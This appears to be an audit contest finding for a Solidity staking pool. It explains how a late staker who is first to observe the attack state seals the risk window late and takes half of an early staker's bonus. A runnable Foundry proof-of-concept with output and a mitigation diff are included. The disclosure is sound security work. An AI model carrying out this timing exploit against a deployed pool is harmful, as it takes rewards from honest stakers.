FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

Late staker can equalize bonus weight by being the first risk-window observer

Author Revealed upon completion

Root + Impact

Description

  • Bonus is meant to reward at-risk time: each deposit scores amount × (T − entryTime)², where every deposit's entryTime is floored at riskWindowStart — the moment the pool first observes the registry in an active-risk state (UNDER_ATTACK / PROMOTION_REQUESTED). Sealing this floor at the true transition means an early staker who bore risk longer earns a strictly larger bonus share than a late staker.

  • riskWindowStart is sealed at the block.timestamp of the first observation, not the true registry transition — and because deposits are allowed during UNDER_ATTACK, a late whale's own stake() can be that first observation. Sealing the window late retroactively floors every earlier staker's effective entry up to the whale's late timestamp (via the eager global reset in _markRiskWindowStart plus the lazy _clampUserSums), erasing the early stakers' time-weight advantage and equalizing per-token bonus weight. The whale bears zero risk during [t_transition, t_lateEntry] yet claims the same weight as stakers who bore it the whole time.

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// forge-lint: disable-next-line(unsafe-typecast)
@> riskWindowStart = uint32(t); // sealed at first OBSERVATION, not true transition
// Eagerly reset the global accumulators so every currently-eligible staker is treated as
// entering at `t`. Per-user sums stay stale until `_clampUserSums` runs on the next op.
@> sumStakeTime = totalEligibleStake * t; // floors ALL existing stakers up to the late `t`
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}

And the entry point that lets a late depositor be the first observer — UNDER_ATTACK is intentionally not blocked:

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
@> state == IAttackRegistry.ContractState.PROMOTION_REQUESTED // UNDER_ATTACK omitted → deposit allowed
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

Nuance vs DESIGN.md

DESIGN §7 pre-rebuts manipulation of T (riskWindowEnd) as an accepted "contested public race," and §3 accepts UNDER_ATTACK deposits as "voluntary near-zero-bonus risk capital." This finding is the start-side (riskWindowStart) analogue that neither section covers, and the two assumptions the doc relies on both fail here:

  1. "Late deposits earn ~zero bonus" (§3) is false in this scenario. §3 assumes a late depositor floors to an already-sealed early riskWindowStart, so their (T − entry)² is tiny. But when the late deposit is the first observer, it sets riskWindowStart to its own timestamp — so it floors to itself, earning full (equal) weight, not ~zero. The "self-crushing late entry" argument silently assumes the window is already open.

  2. The "any counterparty can poke" defense (§7) is asymmetric on the start side. For T, both sides can poke the instant of transition and the bias collapses. For riskWindowStart, only the early stakers are harmed by a late seal, so only they are incentivized to poke — and they must do so at the true transition block, before the whale acts. The whale's winning move is inaction, which requires no race. §7's symmetry argument does not transfer.

So while it rhymes with documented races, A-1 sits in the gap between §3 and §7 and is not actually accepted by either.

Risk

Likelihood:

  • Occurs whenever the registry enters UNDER_ATTACK and no one interacts with the pool (no stake, no claim, no pokeRiskWindow) during the interval between the true transition and a later deposit — a "quiet interval" is the normal state of a pool nobody is actively watching.

  • The incentive is one-sided and rational: a late whale profits by deliberately withholding observation until their own stake, while early stakers must actively poke at the exact transition block to defend their share. The late party only needs one quiet interval; the early cohort must win a real-time race every time.

Impact:

  • Direct, zero-sum redistribution of the bonus pool from early (genuinely at-risk) stakers to the late whale. In the PoC the whale's bonus rises 5× (100e18 → 500e18) and the early staker's falls by the identical 400e18.

  • Breaks the protocol's core economic promise — that bonus tracks at-risk time — degrading the k=2 time-weighting to a flat amount-weighted split precisely when a late entrant games the seal. It is bonus-only (no principal at risk, no third-party loss), consistent with a Medium severity.

Proof of Concept

Two identical pools run on one monotonic timeline; the only difference is when riskWindowStart is observed. The test passes, printing the 900/100 honest split vs. the 500/500 gamed split (400e18 transferred whale-ward, zero-sum).

Place in test/unit/ConfidencePool.A1RiskWindowSeal.t.sol and run:
forge test --match-contract ConfidencePoolA1RiskWindowSealTest -vv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/// @notice PoC for A-1: a late staker who is the FIRST party to observe the registry in an
/// active-risk state seals `riskWindowStart` at their own (late) entry time, retroactively flooring
/// every earlier staker's bonus entry to the same late timestamp and equalizing per-token weight.
///
/// Two otherwise-identical pools run on ONE monotonic timeline against the shared mock registry
/// (sealing is lazy and per-pool, so leaving a pool untouched keeps its window unsealed):
/// - HONEST pool: someone pokes at the true transition `t1` -> riskWindowStart = t1.
/// - ATTACK pool: nobody touches it until the whale stakes at `t2` -> riskWindowStart = t2.
/// Same stakes, same bonus, same `T`. Only the observation timing differs.
contract ConfidencePoolA1RiskWindowSealTest is BaseConfidencePoolTest {
uint256 internal constant STAKE_AMT = 100e18; // Alice (early) and Bob (late whale) stake equally.
uint256 internal constant BONUS = 1000e18;
function _stakeTo(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.stake(amount);
vm.stopPrank();
}
function _contributeBonusTo(ConfidencePool p, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(p), amount);
p.contributeBonus(amount);
vm.stopPrank();
}
function _flagSurvived(ConfidencePool p) internal {
vm.prank(moderator);
p.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
}
function _claimBonus(ConfidencePool p, address user) internal returns (uint256 bonusReceived) {
// Measure the balance delta across THIS claim (the same address claims from both pools, so
// an absolute-balance read would cross-contaminate). Payout is principal + bonus.
uint256 before = token.balanceOf(user);
vm.prank(user);
p.claimSurvived();
bonusReceived = token.balanceOf(user) - before - STAKE_AMT;
}
function test_A1_lateObserverEqualizesBonusWeight() public {
// Timeline (all < expiry = BASE + 31 days, so nothing is capped at expiry).
uint256 t0 = BASE_TIMESTAMP; // stakes open, registry pre-risk (NEW_DEPLOYMENT)
uint256 t1 = BASE_TIMESTAMP + 10 days; // TRUE transition to UNDER_ATTACK
uint256 t2 = BASE_TIMESTAMP + 20 days; // late whale entry / late observation
uint256 t3 = BASE_TIMESTAMP + 25 days; // resolution (PRODUCTION -> SURVIVED)
ConfidencePool honest = _deployPool();
ConfidencePool attack = _deployPool();
// ---- t0: identical setup for both pools. Alice stakes early; sponsor funds the bonus. ----
vm.warp(t0);
_stakeTo(honest, alice, STAKE_AMT);
_stakeTo(attack, alice, STAKE_AMT);
_contributeBonusTo(honest, dave, BONUS);
_contributeBonusTo(attack, dave, BONUS);
// ---- t1: registry becomes attackable. Only the HONEST pool observes it now (a poke). ----
vm.warp(t1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
honest.pokeRiskWindow(); // seals honest.riskWindowStart = t1
assertEq(honest.riskWindowStart(), t1, "honest window should seal at true transition t1");
assertEq(attack.riskWindowStart(), 0, "attack window must still be unsealed");
// ---- t2: the late whale Bob stakes into both pools. ----
// HONEST: window already sealed at t1, Bob enters at t2 (late = low weight).
// ATTACK: Bob's stake is the first observation, sealing at t2 and flooring Alice up to t2.
vm.warp(t2);
_stakeTo(honest, bob, STAKE_AMT);
_stakeTo(attack, bob, STAKE_AMT);
assertEq(honest.riskWindowStart(), t1, "honest window unchanged");
assertEq(attack.riskWindowStart(), t2, "attack window sealed by whale's late stake");
// ---- t3: agreement survives the term. Moderator resolves SURVIVED on both. ----
vm.warp(t3);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
_flagSurvived(honest);
_flagSurvived(attack);
// ---- Claims ----
uint256 honestAlice = _claimBonus(honest, alice);
uint256 honestBob = _claimBonus(honest, bob);
uint256 attackAlice = _claimBonus(attack, alice);
uint256 attackBob = _claimBonus(attack, bob);
// Baseline (HONEST): 15^2 : 5^2 = 9 : 1 -> Alice 900e18, Bob 100e18.
assertApproxEqAbs(honestAlice, 900e18, 1e6, "honest Alice ~= 900");
assertApproxEqAbs(honestBob, 100e18, 1e6, "honest Bob ~= 100");
// Exploit (ATTACK): both floored to t2 -> equal weight -> 50/50 split.
assertApproxEqAbs(attackAlice, 500e18, 1e6, "attack Alice ~= 500");
assertApproxEqAbs(attackBob, 500e18, 1e6, "attack Bob ~= 500");
// The vulnerability: zero-sum transfer from early staker to late whale via observation timing.
assertGt(attackBob, honestBob, "whale profits from being the late observer");
assertLt(attackAlice, honestAlice, "early staker is diluted by the late observation");
uint256 whaleGain = attackBob - honestBob;
uint256 earlyLoss = honestAlice - attackAlice;
assertApproxEqAbs(whaleGain, 400e18, 1e6, "whale gains ~400");
assertApproxEqAbs(earlyLoss, whaleGain, 1e6, "early-staker loss == whale gain (zero-sum)");
}
}

Result:

[PASS] test_A1_lateObserverEqualizesBonusWeight()
honest Alice bonus: 900.000000000000000000
honest Bob bonus: 100.000000000000000000
attack Alice bonus: 500.000000000000000000
attack Bob bonus: 500.000000000000000000
whale gain (Bob): 400.000000000000000000
early-staker loss (Alice): 400.000000000000000000

Recommended Mitigation

Remove the late-entry lever by closing deposits once the registry is attackable, so a late whale can no longer be the first observer and join at the equalized floor in the same transaction. This treats UNDER_ATTACK like PROMOTION_REQUESTED in the deposit gate:

function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
- state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
+ state == IAttackRegistry.ContractState.UNDER_ATTACK
+ || state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

This is a deliberate reversal of DESIGN §3, and its trade-off should be stated: it removes the (accepted) ability to add voluntary risk capital mid-attack, but that capital was exactly the vector here. If preserving UNDER_ATTACK deposits is required, the alternative is to forbid a deposit from being the sealing observation — i.e. revert a stake() that would itself open the risk window, forcing the window to be sealed by the permissionless pokeRiskWindow() / an existing interaction first, so no single actor can both seal and enter at the equalized floor atomically.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!